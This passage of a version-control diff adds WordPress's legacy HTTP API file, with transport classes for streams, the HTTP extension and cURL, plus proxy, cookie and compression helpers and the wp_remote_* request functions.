isset($r['headers']['User-Agent']) ) { + $r['user-agent'] = $r['headers']['User-Agent']; + unset($r['headers']['User-Agent']); + } else if( isset($r['headers']['user-agent']) ) { + $r['user-agent'] = $r['headers']['user-agent']; + unset($r['headers']['user-agent']); + } + + // Construct Cookie: header if any cookies are set + WP_Http::buildCookieHeader( $r ); + + $arrURL = parse_url($url); + + if ( false === $arrURL ) + return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url)); + + if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] ) + $url = preg_replace('|^' . preg_quote($arrURL['scheme'], '|') . '|', 'http', $url); + + // Convert Header array to string. + $strHeaders = ''; + if ( is_array( $r['headers'] ) ) + foreach ( $r['headers'] as $name => $value ) + $strHeaders .= "{$name}: $value\r\n"; + else if ( is_string( $r['headers'] ) ) + $strHeaders = $r['headers']; + + $is_local = isset($args['local']) && $args['local']; + $ssl_verify = isset($args['sslverify']) && $args['sslverify']; + if ( $is_local ) + $ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify); + elseif ( ! $is_local ) + $ssl_verify = apply_filters('https_ssl_verify', $ssl_verify); + + $arrContext = array('http' => + array( + 'method' => strtoupper($r['method']), + 'user_agent' => $r['user-agent'], + 'max_redirects' => $r['redirection'], + 'protocol_version' => (float) $r['httpversion'], + 'header' => $strHeaders, + 'timeout' => $r['timeout'], + 'ssl' => array( + 'verify_peer' => $ssl_verify, + 'verify_host' => $ssl_verify + ) + ) + ); + + $proxy = new WP_HTTP_Proxy(); + + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { + $arrContext['http']['proxy'] = 'tcp://' . $proxy->host() . ':' . $proxy->port(); + $arrContext['http']['request_fulluri'] = true; + + // We only support Basic authentication so this will only work if that is what your proxy supports. + if ( $proxy->use_authentication() ) + $arrContext['http']['header'] .= $proxy->authentication_header() . "\r\n"; + } + + if ( ! is_null($r['body']) && ! empty($r['body'] ) ) + $arrContext['http']['content'] = $r['body']; + + $context = stream_context_create($arrContext); + + if ( !WP_DEBUG ) + $handle = @fopen($url, 'r', false, $context); + else + $handle = fopen($url, 'r', false, $context); + + if ( ! $handle) + return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url)); + + $timeout = (int) floor( $r['timeout'] ); + $utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000; + stream_set_timeout( $handle, $timeout, $utimeout ); + + if ( ! $r['blocking'] ) { + stream_set_blocking($handle, 0); + fclose($handle); + return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + } + + $strResponse = stream_get_contents($handle); + $meta = stream_get_meta_data($handle); + + fclose($handle); + + $processedHeaders = array(); + if ( isset( $meta['wrapper_data']['headers'] ) ) + $processedHeaders = WP_Http::processHeaders($meta['wrapper_data']['headers']); + else + $processedHeaders = WP_Http::processHeaders($meta['wrapper_data']); + + if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] ) + $strResponse = WP_Http::chunkTransferDecode($strResponse); + + if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($processedHeaders['headers']) ) + $strResponse = WP_Http_Encoding::decompress( $strResponse ); + + return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response'], 'cookies' => $processedHeaders['cookies']); + } + + /** + * Whether this class can be used for retrieving an URL. + * + * @static + * @access public + * @since 2.7.0 + * + * @return boolean False means this class can not be used, true means it can. + */ + function test($args = array()) { + if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) ) + return false; + + if ( version_compare(PHP_VERSION, '5.0', '<') ) + return false; + + //HTTPS via Proxy was added in 5.1.0 + $is_ssl = isset($args['ssl']) && $args['ssl']; + if ( $is_ssl && version_compare(PHP_VERSION, '5.1.0', '<') ) { + $proxy = new WP_HTTP_Proxy(); + /** + * No URL check, as its not currently passed to the ::test() function + * In the case where a Proxy is in use, Just bypass this transport for HTTPS. + */ + if ( $proxy->is_enabled() ) + return false; + } + + return apply_filters('use_streams_transport', true, $args); + } +} + +/** + * HTTP request method uses HTTP extension to retrieve the url. + * + * Requires the HTTP extension to be installed. This would be the preferred transport since it can + * handle a lot of the problems that forces the others to use the HTTP version 1.0. Even if PHP 5.2+ + * is being used, it doesn't mean that the HTTP extension will be enabled. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7.0 + */ +class WP_Http_ExtHTTP { + /** + * Send a HTTP request to a URI using HTTP extension. + * + * Does not support non-blocking. + * + * @access public + * @since 2.7 + * + * @param string $url + * @param str|array $args Optional. Override the defaults. + * @return array 'headers', 'body', 'cookies' and 'response' keys. + */ + function request($url, $args = array()) { + $defaults = array( + 'method' => 'GET', 'timeout' => 5, + 'redirection' => 5, 'httpversion' => '1.0', + 'blocking' => true, + 'headers' => array(), 'body' => null, 'cookies' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + + if ( isset($r['headers']['User-Agent']) ) { + $r['user-agent'] = $r['headers']['User-Agent']; + unset($r['headers']['User-Agent']); + } else if( isset($r['headers']['user-agent']) ) { + $r['user-agent'] = $r['headers']['user-agent']; + unset($r['headers']['user-agent']); + } + + // Construct Cookie: header if any cookies are set + WP_Http::buildCookieHeader( $r ); + + switch ( $r['method'] ) { + case 'POST': + $r['method'] = HTTP_METH_POST; + break; + case 'HEAD': + $r['method'] = HTTP_METH_HEAD; + break; + case 'PUT': + $r['method'] = HTTP_METH_PUT; + break; + case 'GET': + default: + $r['method'] = HTTP_METH_GET; + } + + $arrURL = parse_url($url); + + if ( 'http' != $arrURL['scheme'] || 'https' != $arrURL['scheme'] ) + $url = preg_replace('|^' . preg_quote($arrURL['scheme'], '|') . '|', 'http', $url); + + $is_local = isset($args['local']) && $args['local']; + $ssl_verify = isset($args['sslverify']) && $args['sslverify']; + if ( $is_local ) + $ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify); + elseif ( ! $is_local ) + $ssl_verify = apply_filters('https_ssl_verify', $ssl_verify); + + $r['timeout'] = (int) ceil( $r['timeout'] ); + + $options = array( + 'timeout' => $r['timeout'], + 'connecttimeout' => $r['timeout'], + 'redirect' => $r['redirection'], + 'useragent' => $r['user-agent'], + 'headers' => $r['headers'], + 'ssl' => array( + 'verifypeer' => $ssl_verify, + 'verifyhost' => $ssl_verify + ) + ); + + // The HTTP extensions offers really easy proxy support. + $proxy = new WP_HTTP_Proxy(); + + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { + $options['proxyhost'] = $proxy->host(); + $options['proxyport'] = $proxy->port(); + $options['proxytype'] = HTTP_PROXY_HTTP; + + if ( $proxy->use_authentication() ) { + $options['proxyauth'] = $proxy->authentication(); + $options['proxyauthtype'] = HTTP_AUTH_BASIC; + } + } + + if ( !WP_DEBUG ) //Emits warning level notices for max redirects and timeouts + $strResponse = @http_request($r['method'], $url, $r['body'], $options, $info); + else + $strResponse = http_request($r['method'], $url, $r['body'], $options, $info); //Emits warning level notices for max redirects and timeouts + + // Error may still be set, Response may return headers or partial document, and error + // contains a reason the request was aborted, eg, timeout expired or max-redirects reached. + if ( false === $strResponse || ! empty($info['error']) ) + return new WP_Error('http_request_failed', $info['response_code'] . ': ' . $info['error']); + + if ( ! $r['blocking'] ) + return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + + list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2); + $theHeaders = WP_Http::processHeaders($theHeaders); + + if ( ! empty( $theBody ) && isset( $theHeaders['headers']['transfer-encoding'] ) && 'chunked' == $theHeaders['headers']['transfer-encoding'] ) { + if ( !WP_DEBUG ) + $theBody = @http_chunked_decode($theBody); + else + $theBody = http_chunked_decode($theBody); + } + + if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) ) + $theBody = http_inflate( $theBody ); + + $theResponse = array(); + $theResponse['code'] = $info['response_code']; + $theResponse['message'] = get_status_header_desc($info['response_code']); + + return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $theResponse, 'cookies' => $theHeaders['cookies']); + } + + /** + * Whether this class can be used for retrieving an URL. + * + * @static + * @since 2.7.0 + * + * @return boolean False means this class can not be used, true means it can. + */ + function test($args = array()) { + return apply_filters('use_http_extension_transport', function_exists('http_request'), $args ); + } +} + +/** + * HTTP request method uses Curl extension to retrieve the url. + * + * Requires the Curl extension to be installed. + * + * @package WordPress + * @subpackage HTTP + * @since 2.7 + */ +class WP_Http_Curl { + + /** + * Send a HTTP request to a URI using cURL extension. + * + * @access public + * @since 2.7.0 + * + * @param string $url + * @param str|array $args Optional. Override the defaults. + * @return array 'headers', 'body', 'cookies' and 'response' keys. + */ + function request($url, $args = array()) { + $defaults = array( + 'method' => 'GET', 'timeout' => 5, + 'redirection' => 5, 'httpversion' => '1.0', + 'blocking' => true, + 'headers' => array(), 'body' => null, 'cookies' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + + if ( isset($r['headers']['User-Agent']) ) { + $r['user-agent'] = $r['headers']['User-Agent']; + unset($r['headers']['User-Agent']); + } else if( isset($r['headers']['user-agent']) ) { + $r['user-agent'] = $r['headers']['user-agent']; + unset($r['headers']['user-agent']); + } + + // Construct Cookie: header if any cookies are set. + WP_Http::buildCookieHeader( $r ); + + $handle = curl_init(); + + // cURL offers really easy proxy support. + $proxy = new WP_HTTP_Proxy(); + + if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { + + $isPHP5 = version_compare(PHP_VERSION, '5.0.0', '>='); + + if ( $isPHP5 ) { + curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); + curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); + curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); + } else { + curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() .':'. $proxy->port() ); + } + + if ( $proxy->use_authentication() ) { + if ( $isPHP5 ) + curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_BASIC ); + + curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); + } + } + + $is_local = isset($args['local']) && $args['local']; + $ssl_verify = isset($args['sslverify']) && $args['sslverify']; + if ( $is_local ) + $ssl_verify = apply_filters('https_local_ssl_verify', $ssl_verify); + elseif ( ! $is_local ) + $ssl_verify = apply_filters('https_ssl_verify', $ssl_verify); + + + // CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since + // a value of 0 will allow an ulimited timeout. + $timeout = (int) ceil( $r['timeout'] ); + curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); + curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); + + curl_setopt( $handle, CURLOPT_URL, $url); + curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); + curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, $ssl_verify ); + curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); + curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] ); + curl_setopt( $handle, CURLOPT_MAXREDIRS, $r['redirection'] ); + + switch ( $r['method'] ) { + case 'HEAD': + curl_setopt( $handle, CURLOPT_NOBODY, true ); + break; + case 'POST': + curl_setopt( $handle, CURLOPT_POST, true ); + curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] ); + break; + case 'PUT': + curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); + curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] ); + break; + } + + if ( true === $r['blocking'] ) + curl_setopt( $handle, CURLOPT_HEADER, true ); + else + curl_setopt( $handle, CURLOPT_HEADER, false ); + + // The option doesn't work with safe mode or when open_basedir is set. + if ( !ini_get('safe_mode') && !ini_get('open_basedir') ) + curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true ); + + if ( !empty( $r['headers'] ) ) { + // cURL expects full header strings in each element + $headers = array(); + foreach ( $r['headers'] as $name => $value ) { + $headers[] = "{$name}: $value"; + } + curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); + } + + if ( $r['httpversion'] == '1.0' ) + curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); + else + curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); + + // Cookies are not handled by the HTTP API currently. Allow for plugin authors to handle it + // themselves... Although, it is somewhat pointless without some reference. + do_action_ref_array( 'http_api_curl', array(&$handle) ); + + // We don't need to return the body, so don't. Just execute request and return. + if ( ! $r['blocking'] ) { + curl_exec( $handle ); + curl_close( $handle ); + return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); + } + + $theResponse = curl_exec( $handle ); + + if ( !empty($theResponse) ) { + $headerLength = curl_getinfo($handle, CURLINFO_HEADER_SIZE); + $theHeaders = trim( substr($theResponse, 0, $headerLength) ); + $theBody = substr( $theResponse, $headerLength ); + if ( false !== strrpos($theHeaders, "\r\n\r\n") ) { + $headerParts = explode("\r\n\r\n", $theHeaders); + $theHeaders = $headerParts[ count($headerParts) -1 ]; + } + $theHeaders = WP_Http::processHeaders($theHeaders); + } else { + if ( $curl_error = curl_error($handle) ) + return new WP_Error('http_request_failed', $curl_error); + if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array(301, 302) ) ) + return new WP_Error('http_request_failed', __('Too many redirects.')); + + $theHeaders = array( 'headers' => array(), 'cookies' => array() ); + $theBody = ''; + } + + $response = array(); + $response['code'] = curl_getinfo( $handle, CURLINFO_HTTP_CODE ); + $response['message'] = get_status_header_desc($response['code']); + + curl_close( $handle ); + + if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) ) + $theBody = WP_Http_Encoding::decompress( $theBody ); + + return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $response, 'cookies' => $theHeaders['cookies']); + } + + /** + * Whether this class can be used for retrieving an URL. + * + * @static + * @since 2.7.0 + * + * @return boolean False means this class can not be used, true means it can. + */ + function test($args = array()) { + if ( function_exists('curl_init') && function_exists('curl_exec') ) + return apply_filters('use_curl_transport', true, $args); + + return false; + } +} + +/** + * Adds Proxy support to the WordPress HTTP API. + * + * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to + * enable proxy support. There are also a few filters that plugins can hook into for some of the + * constants. + * + * The constants are as follows: + *
      + *
    1. WP_PROXY_HOST - Enable proxy support and host for connecting.
    2. + *
    3. WP_PROXY_PORT - Proxy port for connection. No default, must be defined.
    4. + *
    5. WP_PROXY_USERNAME - Proxy username, if it requires authentication.
    6. + *
    7. WP_PROXY_PASSWORD - Proxy password, if it requires authentication.
    8. + *
    9. WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy. + * You do not need to have localhost and the blog host in this list, because they will not be passed + * through the proxy. The list should be presented in a comma separated list
    10. + *
    + * + * An example can be as seen below. + * + * define('WP_PROXY_HOST', '192.168.84.101'); + * define('WP_PROXY_PORT', '8080'); + * define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com'); + * + * + * @link http://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress. + * @since 2.8 + */ +class WP_HTTP_Proxy { + + /** + * Whether proxy connection should be used. + * + * @since 2.8 + * @use WP_PROXY_HOST + * @use WP_PROXY_PORT + * + * @return bool + */ + function is_enabled() { + return defined('WP_PROXY_HOST') && defined('WP_PROXY_PORT'); + } + + /** + * Whether authentication should be used. + * + * @since 2.8 + * @use WP_PROXY_USERNAME + * @use WP_PROXY_PASSWORD + * + * @return bool + */ + function use_authentication() { + return defined('WP_PROXY_USERNAME') && defined('WP_PROXY_PASSWORD'); + } + + /** + * Retrieve the host for the proxy server. + * + * @since 2.8 + * + * @return string + */ + function host() { + if ( defined('WP_PROXY_HOST') ) + return WP_PROXY_HOST; + + return ''; + } + + /** + * Retrieve the port for the proxy server. + * + * @since 2.8 + * + * @return string + */ + function port() { + if ( defined('WP_PROXY_PORT') ) + return WP_PROXY_PORT; + + return ''; + } + + /** + * Retrieve the username for proxy authentication. + * + * @since 2.8 + * + * @return string + */ + function username() { + if ( defined('WP_PROXY_USERNAME') ) + return WP_PROXY_USERNAME; + + return ''; + } + + /** + * Retrieve the password for proxy authentication. + * + * @since 2.8 + * + * @return string + */ + function password() { + if ( defined('WP_PROXY_PASSWORD') ) + return WP_PROXY_PASSWORD; + + return ''; + } + + /** + * Retrieve authentication string for proxy authentication. + * + * @since 2.8 + * + * @return string + */ + function authentication() { + return $this->username() . ':' . $this->password(); + } + + /** + * Retrieve header string for proxy authentication. + * + * @since 2.8 + * + * @return string + */ + function authentication_header() { + return 'Proxy-Authentication: Basic ' . base64_encode( $this->authentication() ); + } + + /** + * Whether URL should be sent through the proxy server. + * + * We want to keep localhost and the blog URL from being sent through the proxy server, because + * some proxies can not handle this. We also have the constant available for defining other + * hosts that won't be sent through the proxy. + * + * @uses WP_PROXY_BYPASS_HOSTS + * @since unknown + * + * @param string $uri URI to check. + * @return bool True, to send through the proxy and false if, the proxy should not be used. + */ + function send_through_proxy( $uri ) { + // parse_url() only handles http, https type URLs, and will emit E_WARNING on failure. + // This will be displayed on blogs, which is not reasonable. + $check = @parse_url($uri); + + // Malformed URL, can not process, but this could mean ssl, so let through anyway. + if ( $check === false ) + return true; + + $home = parse_url( get_option('siteurl') ); + + if ( $check['host'] == 'localhost' || $check['host'] == $home['host'] ) + return false; + + if ( !defined('WP_PROXY_BYPASS_HOSTS') ) + return true; + + static $bypass_hosts; + if ( null == $bypass_hosts ) + $bypass_hosts = preg_split('|,\s*|', WP_PROXY_BYPASS_HOSTS); + + return !in_array( $check['host'], $bypass_hosts ); + } +} +/** + * Internal representation of a single cookie. + * + * Returned cookies are represented using this class, and when cookies are set, if they are not + * already a WP_Http_Cookie() object, then they are turned into one. + * + * @todo The WordPress convention is to use underscores instead of camelCase for function and method + * names. Need to switch to use underscores instead for the methods. + * + * @package WordPress + * @subpackage HTTP + * @since 2.8.0 + * @author Beau Lebens + */ +class WP_Http_Cookie { + + /** + * Cookie name. + * + * @since 2.8.0 + * @var string + */ + var $name; + + /** + * Cookie value. + * + * @since 2.8.0 + * @var string + */ + var $value; + + /** + * When the cookie expires. + * + * @since 2.8.0 + * @var string + */ + var $expires; + + /** + * Cookie URL path. + * + * @since 2.8.0 + * @var string + */ + var $path; + + /** + * Cookie Domain. + * + * @since 2.8.0 + * @var string + */ + var $domain; + + /** + * PHP4 style Constructor - Calls PHP5 Style Constructor. + * + * @access public + * @since 2.8.0 + * @param string|array $data Raw cookie data. + */ + function WP_Http_Cookie( $data ) { + $this->__construct( $data ); + } + + /** + * Sets up this cookie object. + * + * The parameter $data should be either an associative array containing the indices names below + * or a header string detailing it. + * + * If it's an array, it should include the following elements: + *
      + *
    1. Name
    2. + *
    3. Value - should NOT be urlencoded already.
    4. + *
    5. Expires - (optional) String or int (UNIX timestamp).
    6. + *
    7. Path (optional)
    8. + *
    9. Domain (optional)
    10. + *
    + * + * @access public + * @since 2.8.0 + * + * @param string|array $data Raw cookie data. + */ + function __construct( $data ) { + if ( is_string( $data ) ) { + // Assume it's a header string direct from a previous request + $pairs = explode( ';', $data ); + + // Special handling for first pair; name=value. Also be careful of "=" in value + $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); + $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); + $this->name = $name; + $this->value = urldecode( $value ); + array_shift( $pairs ); //Removes name=value from items. + + // Set everything else as a property + foreach ( $pairs as $pair ) { + if ( empty($pair) ) //Handles the cookie ending in ; which results in a empty final pair + continue; + + list( $key, $val ) = explode( '=', $pair ); + $key = strtolower( trim( $key ) ); + if ( 'expires' == $key ) + $val = strtotime( $val ); + $this->$key = $val; + } + } else { + if ( !isset( $data['name'] ) ) + return false; + + // Set properties based directly on parameters + $this->name = $data['name']; + $this->value = isset( $data['value'] ) ? $data['value'] : ''; + $this->path = isset( $data['path'] ) ? $data['path'] : ''; + $this->domain = isset( $data['domain'] ) ? $data['domain'] : ''; + + if ( isset( $data['expires'] ) ) + $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); + else + $this->expires = null; + } + } + + /** + * Confirms that it's OK to send this cookie to the URL checked against. + * + * Decision is based on RFC 2109/2965, so look there for details on validity. + * + * @access public + * @since 2.8.0 + * + * @param string $url URL you intend to send this cookie to + * @return boolean TRUE if allowed, FALSE otherwise. + */ + function test( $url ) { + // Expires - if expired then nothing else matters + if ( time() > $this->expires ) + return false; + + // Get details on the URL we're thinking about sending to + $url = parse_url( $url ); + $url['port'] = isset( $url['port'] ) ? $url['port'] : 80; + $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; + + // Values to use for comparison against the URL + $path = isset( $this->path ) ? $this->path : '/'; + $port = isset( $this->port ) ? $this->port : 80; + $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); + if ( false === stripos( $domain, '.' ) ) + $domain .= '.local'; + + // Host - very basic check that the request URL ends with the domain restriction (minus leading dot) + $domain = substr( $domain, 0, 1 ) == '.' ? substr( $domain, 1 ) : $domain; + if ( substr( $url['host'], -strlen( $domain ) ) != $domain ) + return false; + + // Port - supports "port-lists" in the format: "80,8000,8080" + if ( !in_array( $url['port'], explode( ',', $port) ) ) + return false; + + // Path - request path must start with path restriction + if ( substr( $url['path'], 0, strlen( $path ) ) != $path ) + return false; + + return true; + } + + /** + * Convert cookie name and value back to header string. + * + * @access public + * @since 2.8.0 + * + * @return string Header encoded cookie name and value. + */ + function getHeaderValue() { + if ( empty( $this->name ) || empty( $this->value ) ) + return ''; + + return $this->name . '=' . urlencode( $this->value ); + } + + /** + * Retrieve cookie header for usage in the rest of the WordPress HTTP API. + * + * @access public + * @since 2.8.0 + * + * @return string + */ + function getFullHeader() { + return 'Cookie: ' . $this->getHeaderValue(); + } +} + +/** + * Implementation for deflate and gzip transfer encodings. + * + * Includes RFC 1950, RFC 1951, and RFC 1952. + * + * @since 2.8 + * @package WordPress + * @subpackage HTTP + */ +class WP_Http_Encoding { + + /** + * Compress raw string using the deflate format. + * + * Supports the RFC 1951 standard. + * + * @since 2.8 + * + * @param string $raw String to compress. + * @param int $level Optional, default is 9. Compression level, 9 is highest. + * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports. + * @return string|bool False on failure. + */ + function compress( $raw, $level = 9, $supports = null ) { + return gzdeflate( $raw, $level ); + } + + /** + * Decompression of deflated string. + * + * Will attempt to decompress using the RFC 1950 standard, and if that fails + * then the RFC 1951 standard deflate will be attempted. Finally, the RFC + * 1952 standard gzip decode will be attempted. If all fail, then the + * original compressed string will be returned. + * + * @since 2.8 + * + * @param string $compressed String to decompress. + * @param int $length The optional length of the compressed data. + * @return string|bool False on failure. + */ + function decompress( $compressed, $length = null ) { + + if ( false !== ( $decompressed = @gzinflate( $compressed ) ) ) + return $decompressed; + + if ( false !== ( $decompressed = WP_Http_Encoding::compatible_gzinflate( $compressed ) ) ) + return $decompressed; + + if ( false !== ( $decompressed = @gzuncompress( $compressed ) ) ) + return $decompressed; + + if ( function_exists('gzdecode') ) { + $decompressed = @gzdecode( $compressed ); + + if ( false !== $decompressed ) + return $decompressed; + } + + return $compressed; + } + + /** + * Decompression of deflated string while staying compatible with the majority of servers. + * + * Certain Servers will return deflated data with headers which PHP's gziniflate() + * function cannot handle out of the box. The following function lifted from + * http://au2.php.net/manual/en/function.gzinflate.php#77336 will attempt to deflate + * the various return forms used. + * + * @since 2.8.1 + * @link http://au2.php.net/manual/en/function.gzinflate.php#77336 + * + * @param string $gzData String to decompress. + * @return string|bool False on failure. + */ + function compatible_gzinflate($gzData) { + if ( substr($gzData, 0, 3) == "\x1f\x8b\x08" ) { + $i = 10; + $flg = ord( substr($gzData, 3, 1) ); + if ( $flg > 0 ) { + if ( $flg & 4 ) { + list($xlen) = unpack('v', substr($gzData, $i, 2) ); + $i = $i + 2 + $xlen; + } + if ( $flg & 8 ) + $i = strpos($gzData, "\0", $i) + 1; + if ( $flg & 16 ) + $i = strpos($gzData, "\0", $i) + 1; + if ( $flg & 2 ) + $i = $i + 2; + } + return gzinflate( substr($gzData, $i, -8) ); + } else { + return false; + } + } + + /** + * What encoding types to accept and their priority values. + * + * @since 2.8 + * + * @return string Types of encoding to accept. + */ + function accept_encoding() { + $type = array(); + if ( function_exists( 'gzinflate' ) ) + $type[] = 'deflate;q=1.0'; + + if ( function_exists( 'gzuncompress' ) ) + $type[] = 'compress;q=0.5'; + + if ( function_exists( 'gzdecode' ) ) + $type[] = 'gzip;q=0.5'; + + return implode(', ', $type); + } + + /** + * What enconding the content used when it was compressed to send in the headers. + * + * @since 2.8 + * + * @return string Content-Encoding string to send in the header. + */ + function content_encoding() { + return 'deflate'; + } + + /** + * Whether the content be decoded based on the headers. + * + * @since 2.8 + * + * @param array|string $headers All of the available headers. + * @return bool + */ + function should_decode($headers) { + if ( is_array( $headers ) ) { + if ( array_key_exists('content-encoding', $headers) && ! empty( $headers['content-encoding'] ) ) + return true; + } else if ( is_string( $headers ) ) { + return ( stripos($headers, 'content-encoding:') !== false ); + } + + return false; + } + + /** + * Whether decompression and compression are supported by the PHP version. + * + * Each function is tested instead of checking for the zlib extension, to + * ensure that the functions all exist in the PHP version and aren't + * disabled. + * + * @since 2.8 + * + * @return bool + */ + function is_available() { + return ( function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') ); + } +} + +/** + * Returns the initialized WP_Http Object + * + * @since 2.7.0 + * @access private + * + * @return WP_Http HTTP Transport object. + */ +function &_wp_http_get_object() { + static $http; + + if ( is_null($http) ) + $http = new WP_Http(); + + return $http; +} + +/** + * Retrieve the raw response from the HTTP request. + * + * The array structure is a little complex. + * + * + * $res = array( 'headers' => array(), 'response' => array('code' => int, 'message' => string) ); + * + * + * All of the headers in $res['headers'] are with the name as the key and the + * value as the value. So to get the User-Agent, you would do the following. + * + * + * $user_agent = $res['headers']['user-agent']; + * + * + * The body is the raw response content and can be retrieved from $res['body']. + * + * This function is called first to make the request and there are other API + * functions to abstract out the above convoluted setup. + * + * @since 2.7.0 + * + * @param string $url Site URL to retrieve. + * @param array $args Optional. Override the defaults. + * @return WP_Error|array The response or WP_Error on failure. + */ +function wp_remote_request($url, $args = array()) { + $objFetchSite = _wp_http_get_object(); + return $objFetchSite->request($url, $args); +} + +/** + * Retrieve the raw response from the HTTP request using the GET method. + * + * @see wp_remote_request() For more information on the response array format. + * + * @since 2.7.0 + * + * @param string $url Site URL to retrieve. + * @param array $args Optional. Override the defaults. + * @return WP_Error|array The response or WP_Error on failure. + */ +function wp_remote_get($url, $args = array()) { + $objFetchSite = _wp_http_get_object(); + return $objFetchSite->get($url, $args); +} + +/** + * Retrieve the raw response from the HTTP request using the POST method. + * + * @see wp_remote_request() For more information on the response array format. + * + * @since 2.7.0 + * + * @param string $url Site URL to retrieve. + * @param array $args Optional. Override the defaults. + * @return WP_Error|array The response or WP_Error on failure. + */ +function wp_remote_post($url, $args = array()) { + $objFetchSite = _wp_http_get_object(); + return $objFetchSite->post($url, $args); +} + +/** + * Retrieve the raw response from the HTTP request using the HEAD method. + * + * @see wp_remote_request() For more information on the response array format. + * + * @since 2.7.0 + * + * @param string $url Site URL to retrieve. + * @param array $args Optional. Override the defaults. + * @return WP_Error|array The response or WP_Error on failure. + */ +function wp_remote_head($url, $args = array()) { + $objFetchSite = _wp_http_get_object(); + return $objFetchSite->head($url, $args); +} + +/** + * Retrieve only the headers from the raw response. + * + * @since 2.7.0 + * + * @param array $response HTTP response. + * @return array The headers of the response. Empty array if incorrect parameter given. + */ +function wp_remote_retrieve_headers(&$response) { + if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers'])) + return array(); + + return $response['headers']; +} + +/** + * Retrieve a single header by name from the raw response. + * + * @since 2.7.0 + * + * @param array $response + * @param string $header Header name to retrieve value from. + * @return string The header value. Empty string on if incorrect parameter given, or if the header doesnt exist. + */ +function wp_remote_retrieve_header(&$response, $header) { + if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers'])) + return ''; + + if ( array_key_exists($header, $response['headers']) ) + return $response['headers'][$header]; + + return ''; +} + +/** + * Retrieve only the response code from the raw response. + * + * Will return an empty array if incorrect parameter value is given. + * + * @since 2.7.0 + * + * @param array $response HTTP response. + * @return string the response code. Empty string on incorrect parameter given. + */ +function wp_remote_retrieve_response_code(&$response) { + if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response'])) + return ''; + + return $response['response']['code']; +} + +/** + * Retrieve only the response message from the raw response. + * + * Will return an empty array if incorrect parameter value is given. + * + * @since 2.7.0 + * + * @param array $response HTTP response. + * @return string The response message. Empty string on incorrect parameter given. + */ +function wp_remote_retrieve_response_message(&$response) { + if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response'])) + return ''; + + return $response['response']['message']; +} + +/** + * Retrieve only the body from the raw response. + * + * @since 2.7.0 + * + * @param array $response HTTP response. + * @return string The body of the response. Empty string if no body or incorrect parameter given. + */ +function wp_remote_retrieve_body(&$response) { + if ( is_wp_error($response) || ! isset($response['body']) ) + return ''; + + return $response['body']; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/blank.gif Binary file web/wp-includes/images/blank.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/images/crystal/archive.png Binary file web/wp-includes/images/crystal/archive.png has changed diff -r 0d9a58d2c515 